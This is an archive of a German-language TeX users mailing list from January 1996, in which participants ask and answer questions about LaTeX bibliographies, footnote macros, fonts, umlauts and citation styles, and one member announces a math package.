From owner-tex-d-l@VM.GMD.DE Wed Jan 3 14:54:48 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Chris Zimmermann Date: Wed, 3 Jan 1996 13:53:40 +0000 Subject: Bibunits style Hat irgendjemand schon mal damit gearbeitet? "\bibunit{\chapter}" funktioniert nicht (seltsamerweise arbeitet der Companion auch mit explizitem "\begin{bibunit}" und "\end{bibunit}"). Ferner moechte ich nach _jedem_ Kapitel ein Bibliographie erzeugen und am Schluss eine globale, die alle Referenzen enthaelt. Irgendjemand irgendwelche Vorschlaege? Frohes 1996, Christoph Chris Zimmermann | Email: Chris.Zimmermann@cs.tcd.ie DSG, ORI, Trinity College | Phone: +353-1-6081543 Dublin 2, Ireland | Fax: +353-1-6772204 W3: http://www.dsg.cs.tcd.ie/~czimmerm/czimmerm.html From owner-tex-d-l@VM.GMD.DE Fri Jan 5 06:08:09 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Schrell Date: Thu, 4 Jan 1996 06:27:00 GMT Subject: Stammtisch in Wuppertal Hallo! Ihr seid alle herzlich eingeladen zum n"achsten _____ _ _ _______ ______ | __ \ /\ | \ | ||__ __|| ____| | | | | / \ | \| | | | | |__ | | | | / /\ \ | . ` | | | | __| | |__| |/ ____ \ | |\ | | | | |____ |_____//_/ \_\|_| \_| |_| |______| _______ __ __ |__ __| \ \ / / | | ______\ V /_____ | || ____|> <|_____| | || |__ / . \ |_|| __|/_/ \_\ | |____ |______| _____ _ _ _ _ / ____|| | | | (_) | | | (___ | |_ __ _ _ __ ___ _ __ ___ | |_ _ ___ ___ | |__ \___ \ | __|/ _` || '_ ` _ \ | '_ ` _ \ | __|| |/ __| / __|| '_ \ ____) || |_| (_| || | | | | || | | | | || |_ | |\__ \| (__ | | | | |_____/ \__|\__,_||_| |_| |_||_| |_| |_| \__||_||___/ \___||_| |_| __ __ _ _ \ \ / / | | | | \ \ /\ / /_ _ _ __ _ __ ___ _ __ | |_ __ _ | | \ \/ \/ /| | | || '_ \ | '_ \ / _ \| '__|| __|/ _` || | \ /\ / | |_| || |_) || |_) || __/| | | |_| (_| || | \/ \/ \__,_|| .__/ | .__/ \___||_| \__|\__,_||_| | | | | |_| |_| Er findet statt am Donnerstag, dem 11. Januar 1996 um 19:30 Uhr Gastst"atte Yol Ernststra"se 45 (N"ahe Robert-Daum-Platz) 42117 Wuppertal Viele Gr"u"se von und weitere Infos bei ******************************************************************* * /\ * * * /__\ndreas * Fax 0202/506381 * * / Schrell * Erlenstra"se 1, 42283 Wuppertal, Tel. 0202/502354 * ******************************************************************* * Mails <14K ins MausNet: Andreas_Schrell@rs.maus.de * * Riesenmails an: Andreas.Schrell@FernUni-Hagen.de * ******************************************************************* From owner-tex-d-l@VM.GMD.DE Thu Jan 4 10:23:11 1996 Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke Date: Thu, 4 Jan 1996 10:21:36 0100 Subject: Kyrillische PS-Fonts ? Hallo, kennt jemand verf"ugbare kyrillische PostScript Fonts, die man mit xfig verwenden kann, und zu TimesRoman passen (wncyr etc wirken im Vergleich zu TimesRoman etwas hausbacken. Wie kann ich solche Fonts in xfig verf"ugbar machen? Vielen Dank! -- Johannes Heinecke Computerlinguistik Humboldt Universit"at zu Berlin http://www.compling.hu-berlin.de/~johannes From owner-tex-d-l@VM.GMD.DE Thu Jan 4 22:13:43 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Yannis Haralambous Date: Thu, 4 Jan 1996 21:17:42 +0100 Subject: new LaTeX package I have developped a LaTeX package called "yhmath" which brings a few enhancements to standard math: -- much bigger delimiters ( ) \langle \rangle [this means that big parentheses used for matrices still stay round, up to a certain limit of course] -- intermediate sizes for all ``big delimiters'' -- much bigger square roots -- much bigger wide accents (hat and tilde) -- two NEW wide accents: triangle (a triangle upon a certain number of symbols), and parenthesis (a horizontal parenthesis upon a certain number of symbols). These are can also be very wide -- a new accent: the ring accent (used in topology for the interior of a topological space) -- a ``wide'' version of this new accent: this is not a wide ring, but a normal ring placed upon a wide parenthesis (this notation can be found in many French math books) -- an AMS-LaTeX environment for matrices with angle brackets -- a new command \adots for ascending dots (for anti-diagonal matrices) This package consists of a font yhcmex10 which INCLUDES the original cmex10 (the new characters are in the upper 8-bit range), the corresponding OMXyhex.fd file, and the style file, written in DTX form. I have included also PostScript and Acrobat versions of the documentation. As soon as I find out how to do it, I will put everything on CTAN. For the moment you can find the files on ftp ftp.ens.fr cd pub/tex/yannis/yhmath I hope this package will be useful for those who don't like straight parentheses, and/or need the ring accent, or very wide accents, etc. If the AMS or the LaTeX team want to include or absorbe this stuff, I have nothing against :-) Have fun using it! (and send me a postcard if you _really_ like it!) And bug reports as well! And certainly suggestions for improvements! Cheers +-----------------------------------------------------------------------+ | Yannis Haralambous Yannis.Haralambous@univ-lille1.fr | +-----------------------------------------------------------------------+ | 187, rue Nationale fax: (33) 20.40.28.64 | | 59800 Lille, France ISDN/Numeris: (33) 20.15.81.77 | +-----------------------------------------------------------------------+ ...the ball I threw while playing in the park has never reached the ground From owner-tex-d-l@VM.GMD.DE Fri Jan 5 15:16:28 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Arnt Broska Date: Fri, 5 Jan 1996 15:11:56 +0100 Subject: newcommand mit opt. Argument Hallo Texies! Mit LaTeX2e stellt \newcommand ein optionales Argument bereit. Wie pruefe ich aber *MIT LATEX-MITTELN*, ob ein Opt. Arg vorhanden ist oder nicht? Meine Definition soll dann in etwa so aussehen: \newcommand{\befehl}[2][]{% "Wenn kein Opt.Arg:" {tut was mit #2} "und sonst:" {tu was mit #1 und #2}} Was muss ich fuer "Wenn kein .. und sonst" einestzen? Danke fuer infos! A. Leo Broska ps. bisher helfe ich mir mit harten TeX-Befehlen: \def\@t{#1}\ifx\@empty\@t\else {tu was mit #1}% \fi {tu was mit #2} From owner-tex-d-l@VM.GMD.DE Fri Jan 5 19:35:42 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Joachim Lammarsch Date: Fri, 5 Jan 1996 18:57:29 CET Subject: Re: DANTE e.V. - Fragen und Antworten (FAQ) -- Hinweis (und Test) On Tue, 19 Dec 1995 11:56:31 +0100 Bernd Raichle said: >Bevor hier eine Diskussion aufbrandet oder ich mit e-mail >zugeschuettet werde: > >Test hat gezeigt, dass die Mailer 8bit-Zeichen durchaus zulassen -- >die Umlaute kommen bei mir in ISO Latin-1 als Cent, \^e, \Dh, $^3$, >\"o (korrekt! :-), \aa und $\pm$ an. >...nur sind eben die Codes nicht ganz korrekt (wie mir dies von >Joachim L. schon vorher prophezeit wurde). Mal sehen, ob das jemand >loesen kann. Es laesst sich aber leider nie exakt feststellen, wer jetzt die Fehler bei der Umsetzung wirklich macht. In der Vergangenheit war es das SMTP auf den VM-Rechnern. Mal sehen, ob es besser wird, wenn die Diskussionlisten auf einem UNIX-Rechner verwaltet werden :-). Da ich gerade beim Umstellen einiger Listen bin, wird es sich bald herausstellen. >Ich werde wohl die FAQ mit durch ae, oe, ue, ss ersetzen Umlauten und >\ss hier posten muessen... > >Gruesse, > -bernd Mit freundlichen Gruessen Joachim Lammarsch PS.: Meine neue E-mail Adresse ist: Joachim.Lammarsch@URZ.UNI-HEIDELBERG.DE From owner-tex-d-l@VM.GMD.DE Fri Jan 5 21:29:44 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hulk Date: Fri, 5 Jan 1996 21:04:00 MET Subject: Umlaut Problem Hallo Leute! Wenn ich folgenes Beispiel compiliere erhalte ich statt dem grossen OE ein UE. Das kleine wird richtig compiliert... \NeedsTeXFormat{LaTeX2e} \documentclass[11pt,a4paper]{article} \usepackage[germanb]{babel} \begin{document} "o"O \end{document} ...woran kann das liegen? Mache ich was verkehrt? Auch wenn ich imputenc.sty benutze mit PC850 aendert sich nichts! Ich benutze uebrigens die 4TeX-CD Juli 95... Als TeX Neuling bin fuer jeden Tip dankbar... HULK From owner-tex-d-l@VM.GMD.DE Mon Jan 8 15:17:54 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Arnt Broska Date: Mon, 8 Jan 1996 15:13:40 +0100 Subject: Falscher Fussnotenabstand bei groesserem \baselinestretch Hi TeXologInnen! Wenn ich mit den Zeilenabstand mit \renewcommand{\baselinestrech}{1.3} vergroessere, funktioniert das optisch ganz gut. Leider werden aber die Fussnoten mit falschen Zeilenabstand begonnen! Irgendwie rechnet \footnotesep nicht mit dem \baselinestrech-Macro. Was kann ich tun? Gibt es eine flexible Loesung via Macro-Paket? Ciao, Leo. p.s: Hier als Beispiel eine stilisierte TeX-Ausgabe bei groesserem \baselinestretch: Hier ist der HauptText mit groesserem Zeilenabstand, in dem auch eine Fussnote (1) oder auch zwei (2) vorkommen. ------------------- (1) Hier die erste Fussnote, deren zweite Zeile schoen gesetzt wird. (2) Diese zweite schliesst aber zu dicht an! ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann EMail-Adress: abroska@mathi.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Mon Jan 8 17:28:50 1996 Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_821111269==_" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Wolfgang Christen Date: Mon, 8 Jan 1996 18:27:49 +0200 Subject: destruktiver Style --=====================_821111269==_ Content-Type: text/plain; charset="us-ascii" Liebe TeXnologen, ich war so stolz auf meinen kleinen schoenen Stil, der es mir erlaubt hatte, eine eigene Ueberschrift ueber das Literaturverzeichnis zu setzen. Leider hat er mit der neuen LaTeX-Ausgabe aber nicht mehr funktioniert, so dass ich ihn aktualisiert habe. Bzw. besser, es versucht habe, denn nun gibt es eine unerwuenschte Nebenwirkung: die itemize-Umgebungen erzeugen keine Einrueckung mehr und ich habe nur eine sehr diffuse Ahnung, was an der "Stilbluete" falsch ist . Anbei also mein klaeglich gescheiterter Versuch in der Hoffnung, dass jemand den Fehler gleich sieht. (und mir mitteilt, logo). Vielen Dank schon mal! Wolfgang --=====================_821111269==_ Content-Type: text/plain; charset="us-ascii" Content-Disposition: attachment; filename="CHRIST_2.STY" %Literaturverzeichnis: ohne eigenen Titel, erlaubt Vorspann %LaTeX2e - Version \def\thebibliography#1{% \list{\@biblabel{\@arabic{\c@enumiv}}}% {\settowidth\labelwidth{\@biblabel{#1}}% \leftmargin\labelwidth \advance\leftmargin\labelsep \usecounter{enumiv}% \let\p@enumiv\@empty \renewcommand\theenumiv{\@arabic{\c@enumiv}}}% \sloppy\clubpenalty4000\widowpenalty4000% \sfcode`\.\@m} {\def\@noitemerr {\@latex@warning{Empty `thebibliography' environment}}% \endlist} \endinput --=====================_821111269==_ Content-Type: text/plain; charset="us-ascii" ---------------------------------------------------------------------------- ---------------------------------------------------------------------- address: Wolfgang Christen Tel Aviv University Chemistry Department Tel Aviv 69978 Israel email: christen@ccsg.tau.ac.il phone: 972-3-640-8321 fax: 972-3-640-9293 ---------------------------------------------------------------------------- ---------------------------------------------------------------------- --=====================_821111269==_-- From owner-tex-d-l@VM.GMD.DE Tue Jan 9 12:06:42 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Arnt Broska Date: Tue, 9 Jan 1996 12:05:23 +0100 Subject: Vorlaufende Leerzeichen in Marcos ignorieren. Hallo Leute! Ich m"ochte mir ein Fussnoten-Marco \fnote schreiben, das die Fussnoten immer direkt an den vorhergehenden Text klebt, auch wenn ein Neue-Zeile- Zeichen zur Verdeutlichung in der Eingabe steht. Z.B. lautet also die Eingabe: Das ist der Text. \fnote{Und hier die Fussnote} Nun kommt weiterer Text. In der Ausgabe soll nun stehen: 1 Das ist der Text. ^ | +-- hier kein Abstand! Dazu muss ich in meinem Marco \newcommand{\fnote}{....\footnote} irgendwie die Leerzeichen (und vielleicht sogar Absatz-Leerzeilen?) vorund nach dem \fnote-Aufruf loeschen. Wie mache ich das? 2) Wie formatiert ihr _im Eingabetext_ Fussnoten so, das sie nicht im Buchstabengewust ertrinken? Kennt eine oder einer andere gute Hilfen f"urs Fussnotenhandling? Besten Dank f"ur Hinweise! Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann EMail-Adress: abroska@mathi.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Tue Jan 9 12:35:18 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Thomas Feuerstack Date: Tue, 9 Jan 1996 12:33:12 +0100 Subject: Re: Vorlaufende Leerzeichen in Marcos ignorieren. > 2) Wie formatiert ihr _im Eingabetext_ Fussnoten so, das sie nicht im > Buchstabengewust ertrinken? Kennt eine oder einer andere gute Hilfen f"urs > Fussnotenhandling? > > Besten Dank f"ur Hinweise! Ciao, Leo. Also ich machs immer ziemlich simpel mit Hilfe des Kommentarzeichens (%). Um auf Dein Beispiel zurueckzukommen: Das ist der Text.% \footnote{Und hier die Fussnote} Nun kommt weiterer Text. bewirkt genau das, was Du durch Dein Macro erreichen willst (zumindest sofern ich Deine Frage richtig verstanden habe). Ciao - Thomas From owner-tex-d-l@VM.GMD.DE Tue Jan 9 13:40:52 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Tue, 9 Jan 1996 13:36:57 +0100 Subject: Re: Vorlaufende Leerzeichen in Marcos ignorieren. Ich l"ose das Problem meisten so:% \footnote{Kommentarzeichen sind zu vielem gut} --J"org Knappen. From owner-tex-d-l@VM.GMD.DE Tue Jan 9 15:28:50 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Harald H.-J. Bongartz" Date: Tue, 9 Jan 1996 15:26:52 +0100 Subject: Re: Vorlaufende Leerzeichen in Marcos ignorieren. >Ich l"ose das Problem meisten so:% >\footnote{Kommentarzeichen sind zu vielem gut} Der Vorteil des Kommtarzeichens ist auch, dass man die Fussnote auch in der Folgezeile einruecken kann, da TeX die Whitespaces am Zeilenanfang ueberliest: Dies ist der Text.% \footnote{Und dies ist die Fussnote dazu.} Hier geht der Text weiter. Ciao, Harald -- * Harald H.-J. Bongartz * * Schlechte Laune ist der Schnupfen des Gemuets; laestig und ansteckend. * * - Peter Horton * From owner-tex-d-l@VM.GMD.DE Wed Jan 10 09:42:21 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Wed, 10 Jan 1996 09:21:35 +0100 Subject: Re: Vorlaufende Leerzeichen in Marcos ignorieren. Arnt Broska fraegt: > Ich m"ochte mir ein Fussnoten-Marco \fnote schreiben, das die Fussnoten > immer direkt an den vorhergehenden Text klebt, auch wenn ein Neue-Zeile- > Zeichen zur Verdeutlichung in der Eingabe steht. Z.B. lautet also die > Eingabe: > > Das ist der Text. > \fnote{Und hier die Fussnote} > Nun kommt weiterer Text. [...] > Dazu muss ich in meinem Marco > \newcommand{\fnote}{....\footnote} > irgendwie die Leerzeichen (und vielleicht sogar Absatz-Leerzeilen?) vorund > nach dem \fnote-Aufruf loeschen. Wie mache ich das? Absatz-Leerzeile zu entfernen waere schwieriger; ausserdem wuerde ich eine Leerzeile vor dem \fnote{....} auch so interpretieren, dass der alte Absatz beendet und ein neuer begonnen wird und die Fussnote dann natuerlich zum folgenden Absatz gehoert (auch wenn ich das als Leser ein bisschen komisch finden wuerde). Die neue Zeile bzw. ein Space bzw. eine Tilde vor dem \fnote/\footnote-Makro erzeugt in der internen Repraesentation, einer horizontalen Liste, einen "glue"- bzw. "skip"-node/-Knoten. Einen solchen Knoten kann man mit Hilfe des Primitivs \unskip wieder entfernen. Dabei muss man nur darauf achten, dass \unskip sowohl auf vertikale als auch auf horizontale Listen angewendert werden kann -- man sollte also explizit dafuer sorgen, dass man auf einer horizontalen Liste arbeitet, sich also im horizontalen Modus befindet. Dies geht mit dem Makro \leavevmode (= verlasse den `v'ertikalen Modus, falls du dich in einem solchen befindest). Damit lautet das Makro \newcommand{\fnote}{% \leavevmode\unskip % entferne horizontalen Abstand vor \fnote \footnote} Eigentlich ist dieses \leavevmode nur fuer den sehr, sehr speziellen Fall notwendig, wo \fnote einen Absatz beginnt (den man also eigentlich vermeiden sollte, da ein Fussnotensymbol als Beginn eines Absatzes im normalen Text den Leser eher verwirrt), dennoch wuerde ich es einfuegen, um beispielsweise zu dokumentieren, dass das \unskip einen eingefuegten Wortabstand entfernt. Ausserdem vergisst man bei anderen Gelegenheiten dieses besondere Verhalten von \unskip (und einigen anderen Primitiven) und das dann notwendige \leavevmode gern. Um das Makro noch ein bisschen vollstaendiger zu machen: Wenn man das Fussnotensymbol mit Hilfe einer mathematischen Formelumgebung hochstellt und diese Konstruktion direkt, ohne Wortzwischenraum, an das vorhergehende Wort gesetzt wird, verhindert die Formel oder eine andere Box-Konstruktion, dass dieses Wort getrennt wird (siehe TeXbook, Anhang H). Will man diese Wort trotzdem trennbar machen, muss vor die Formel-/Box-Konstruktion ein Knoten eingefuegt wird, der die Trennung nicht unterbindet und an dem kein Zeilenumbruch stattfinden darf. Letzteres weist auch \nobreak, also einen \penalty-Knoten, hin und genau ein solcher erlaubt auch die Trennung des Wortes. Auch \nobreak/\penalty kann im horizontalen wie im vertikalen Modus verwendert werden, da wir aber schon mit \leavevmode gesorgt haben, dass wir uns im richtigen (= horiz.) Modus befinden, lautet unser Makro damit: \newcommand{\fnote}{% \leavevmode\unskip % entferne horizontalen Abstand vor \fnote \nobreak % erlaube Trennung des Wortes vor \fnote \footnote} Anm.: Dieser \nobreak-Trick ist auch mit der "normalen" \footnote-Definition verwendbar. Gruesse, -bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Wed Jan 10 14:09:15 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Biechele Date: Wed, 10 Jan 1996 14:08:08 +0100 Subject: Zitier Problem ! Ein Freund von mir schreibt fuer die Zeitschrift Vision Research einen Artikel. Dabei benutzt er den APALike Style (unter LaTeX 2.09 uebrigens). Der Styxle APAlike ist vom 24.1.88 und der bibiliographie style heisst genauso. Da er sehr alt ist, weiss ich leider auch nicht wo wir ihn her haben. Alles funktioniert wie von der Zeitschrift gewuenscht, bis auf die Zitierung: Man verlangt, dass wenn 3 oder mehr Autoren eines papers zitiert werden, sollen beim ERSTEN zitieren alle Autoren ausgeschrieben werden und erst beim zweiten mal nur noch der erste mit et.al. dahinter !! APAlike schreibt nun aber immer die Namen und et.al. ! Wie kann man das machen, oder ist das sehr kompliziert ?? Dann soll es naemlich der Verlag selber machen !! Fuer jede Hilfe dankbar !! Peter Biechele $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Peter Biechele , Rennweg 3, 79106 Freiburg, Tel. (0761) 50 89 33 Uni Freiburg, Fakultaet fuer Physik, Abt. Prof. Honerkamp, Zi. 906 Tel. (0761) 203-5875, EMail: pebi@phyq1.physik.uni-freiburg.de From owner-tex-d-l@VM.GMD.DE Wed Jan 10 15:27:36 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Wed, 10 Jan 1996 15:10:07 +0100 Subject: Re: Zitier Problem ! Peter Biechele schreibt: > Ein Freund von mir schreibt fuer die Zeitschrift Vision Research einen > Artikel. Dabei benutzt er den APALike Style (unter LaTeX 2.09 > uebrigens). Der Styxle APAlike ist vom 24.1.88 und der bibiliographie > style heisst genauso. Da er sehr alt ist, weiss ich leider auch > nicht wo wir ihn her haben. Alles > funktioniert wie von der Zeitschrift gewuenscht, bis auf die Zitierung: Suche auf CTAN nach `apalike.*' bzw. nach der neueren Version namens `theapa.*': biblio/bibtex/contrib/apalike* macros/latex209/contrib/misc/apalike* macros/latex209/contrib/theapa/theapa.* > Man verlangt, dass wenn 3 oder mehr Autoren eines papers zitiert werden, > sollen beim ERSTEN zitieren alle Autoren ausgeschrieben werden und erst > beim zweiten mal nur noch der erste mit et.al. dahinter !! > APAlike schreibt nun aber immer die Namen und et.al. ! Ich weiss nicht, ob man dies bei `apalike' oder `theapa' konfigurieren kann. Lies einfach mal die Doku bzw. im Kommentar des .sty-Files nach. > Wie kann man das machen, oder ist das sehr kompliziert ?? Dann soll es > naemlich der Verlag selber machen !! Wenn dies keiner der Styles macht, ist eine Erweiterung um diese Funktionalitaet eigentlich nicht sehr kompliziert. Duerfte mit gruendlicherem Austesten ca. 1-2 Stunden benoetigen -- falls man weiss, wo man ansetzen muss und man sich mit der Programmiersprache, in der .bst-Files geschrieben werden, schon angefreundet hat :-) Gruesse, -bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Wed Jan 10 15:55:45 1996 Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_821278219==_" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Wolfgang Christen Date: Wed, 10 Jan 1996 16:50:19 +0200 Subject: destruktiver Style --=====================_821278219==_ Content-Type: text/plain; charset="us-ascii" Liebe TeXnologen, ich war so stolz auf meinen kleinen schoenen Stil, der es mir erlaubt hatte, eine eigene Ueberschrift ueber das Literaturverzeichnis zu setzen. Leider hat er mit der neuen LaTeX-Ausgabe aber nicht mehr funktioniert, so dass ich ihn aktualisiert habe. Bzw. besser, es versucht habe, denn nun gibt es eine unerwuenschte Nebenwirkung: die itemize-Umgebungen erzeugen keine Einrueckung mehr und ich habe nur eine sehr diffuse Ahnung, was an der "Stilbluete" falsch ist . Anbei also mein klaeglich gescheiterter Versuch in der Hoffnung, dass jemand den Fehler gleich sieht. (und mir mitteilt, logo). Vielen Dank schon mal! Wolfgang --=====================_821278219==_ Content-Type: text/plain; charset="us-ascii" Content-Disposition: attachment; filename="CHRIST_2.STY" %Literaturverzeichnis: ohne eigenen Titel, erlaubt Vorspann %LaTeX2e - Version \def\thebibliography#1{% \list{\@biblabel{\@arabic{\c@enumiv}}}% {\settowidth\labelwidth{\@biblabel{#1}}% \leftmargin\labelwidth \advance\leftmargin\labelsep \usecounter{enumiv}% \let\p@enumiv\@empty \renewcommand\theenumiv{\@arabic{\c@enumiv}}}% \sloppy\clubpenalty4000\widowpenalty4000% \sfcode`\.\@m} {\def\@noitemerr {\@latex@warning{Empty `thebibliography' environment}}% \endlist} \endinput --=====================_821278219==_ Content-Type: text/plain; charset="us-ascii" ---------------------------------------------------------------------------- ---------------------------------------------------------------------- address: Wolfgang Christen Tel Aviv University Chemistry Department Tel Aviv 69978 Israel email: christen@ccsg.tau.ac.il phone: 972-3-640-8321 fax: 972-3-640-9293 ---------------------------------------------------------------------------- ---------------------------------------------------------------------- --=====================_821278219==_-- From owner-tex-d-l@VM.GMD.DE Wed Jan 10 15:26:46 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rolf Niepraschk Date: Wed, 10 Jan 1996 14:43:04 EST Subject: Re: Zitier Problem ! Hallo Peter, ich kann Dir zwar nicht direkt helfen, habe aber auf ftp.dante.de neuere Versionen von apalike gefunden: ftp.dante.de:/tex-archive/biblio/bibtex/contrib/* ftp.dante.de:/tex-archive/biblio/bibtex/contrib/germbib/styles/* Vielleicht hilft das... ...Rolf .----------------------------------------------------. | Rolf Niepraschk | | Physikalisch-Technische Bundesanstalt | | Abbestr. 2-12 | | D-10587 Berlin, Germany | | Tel.: (030) 3481 316, Fax.: (030) 3481 490 | | Bitnet: NIEPRASCHK@PTBIB | | Internet: NIEPRASCHK@CHBRB.BERLINPTB.DE | `----------------------------------------------------' From owner-tex-d-l@VM.GMD.DE Thu Jan 11 13:38:02 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Henning Matthes Date: Thu, 11 Jan 1996 12:11:48 +0100 Subject: Einbinden von PS-Fonts moin, moin, ich habe ca 1200 PS-Fonts, die ich auch unter TeX verf"ugbar haben m"ochte. Gibt es eine M"glichkeit die Umsetzung automatisch durchzuf"hren? Die Fonts sollten nachher in der DC-Codierung vorhanden sein. Ach ja: Ich arbeite unter Linux. Gru"s Henning PS: Im Companion Kapitel 11.10 ist eine sch"one Darstellung f"ur die Helvetica, hat jemand daf"ur den Sourcecode? ================================================= Henning Matthes FON 04383/9898 ISDN M"uhlenbergring 20 FAX 04383/9897 24329 Grebin eMail:matthes@toppoint.de From owner-tex-d-l@VM.GMD.DE Thu Jan 11 14:10:09 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Thu, 11 Jan 1996 13:59:10 +0100 Subject: Re: Einbinden von PS-Fonts Henning Matthes schreibt: > ich habe ca 1200 PS-Fonts, die ich auch unter TeX verf"ugbar > haben m"ochte. Gibt es eine M"glichkeit die Umsetzung automatisch > durchzuf"hren? Die Fonts sollten nachher in der DC-Codierung > vorhanden sein. es gibt mehrerer solcher Tools. ps2pk, ps2mf, ps4mf, gsftopk (alle unter tex-archive/fonts/utilities/ auf CTAN zu finden). Was diese genau koennen und welches Tool nun fuer welchen Fall am besten ist, kann ich nicht sagen, da ich noch keines ausprobiert habe :-( > PS: Im Companion Kapitel 11.10 ist eine sch"one Darstellung f"ur die > Helvetica, hat jemand daf"ur den Sourcecode? Bei vielen Schriften, besonders den sogenannten Standard-PS-Schriften, muss man aufpassen, dass fuer diese in D ein Copyright, genauer das Schriftzeichengesetz, gilt, man diese also lizienzieren muss, um sie legal verwenden zu duerfen. Die mit einem PS-Drucker mitgelieferten Schriften sind normalerweise nur fuer dieses eine Ausgabegeraet lizenziert und die Lizenzgebuehr hat man mit dem Kaufpreis des Druckers bzw. der PS-Erweiterungskassette schon bezahlt -- fuer die Verwendung auf diesem einen Geraet. Zu Erinnerung: In der TeXnischen Komoedie 2/94 (oder war's 3/94, zumindest kam sie Anfang Herbst 94 heraus) ist ein Artikel von Hermann Zapf veroeffentlicht, in dem er sich ueber die sehr lockeren Sitten einiger Firmen bzgl. Schriften und deren Verwendung beklagt. Gruesse, -bernd _______________________________________________________________________ Bernd Raichle Email: raichle@Informatik.Uni-Stuttgart.de Institut fuer Informatik Abteilung Intelligente Systeme | "Le langage est source Universitaet Stuttgart, Breitwiesenstr. 20-22 | de malentendus" 70565 Stuttgart-Vaihingen, FRG | (A. de Saint-Exupery) From owner-tex-d-l@VM.GMD.DE Thu Jan 11 14:54:19 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Henning Matthes Date: Thu, 11 Jan 1996 14:22:12 +0100 Subject: Re: Einbinden von PS-Fonts On Thu, 11 Jan 1996, Bernd Raichle wrote: > > PS: Im Companion Kapitel 11.10 ist eine sch"one Darstellung f"ur die > > Helvetica, hat jemand daf"ur den Sourcecode? > > Bei vielen Schriften, besonders den sogenannten Standard-PS-Schriften, > muss man aufpassen, dass fuer diese in D ein Copyright, genauer das nein ich bin nicht an den Helvetica-Sourcen interessiert, sondern an der Darstellung des Font-Encodings f"ur PS-Schriften. Gru"s Henning From owner-tex-d-l@VM.GMD.DE Fri Jan 12 13:58:19 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Arnt Broska Date: Fri, 12 Jan 1996 13:57:15 +0100 Subject: Aussehen von -,-- und --- Hallo! Seit Jahr und Tag stehe ich mit den Strichen -,-- und --- auf Kriegsfuss: Fr"uher habe ich --- f"ur Gedankenstriche, -- f"ur von-bis-Striche sowie f"ur Wortverbindungsstriche benutzt. - Blieb dem Zeilenende-trennstrich vorbehalten. Da mir aber heute der ----Strich zu lang erscheint waehle ich nun -- f"ur Gedankenstriche, -- f"ur von-bis-Striche und - f"ur Wortverbindungsstriche und f"ur die Trennung. Das sieht aber auch bl"od aus: --- und -- sind naemlich sehr duenn, waehrend - tiefliegt und dicker ist. Ein Satz, wie "Uber das Leben-Wollen zu reden ist -- ohne vom Sterben-M"ussen zusprechen -- nur eine halbe Sache. gef"allt mir deswegen in der Ausgabe "asthetisch nicht; - mal hab gesehen, davon, dass dieser auch sonstige inhaltliche und orthographische Schwachstellen aufweist... ;-) Wie macht ihr's? Wie 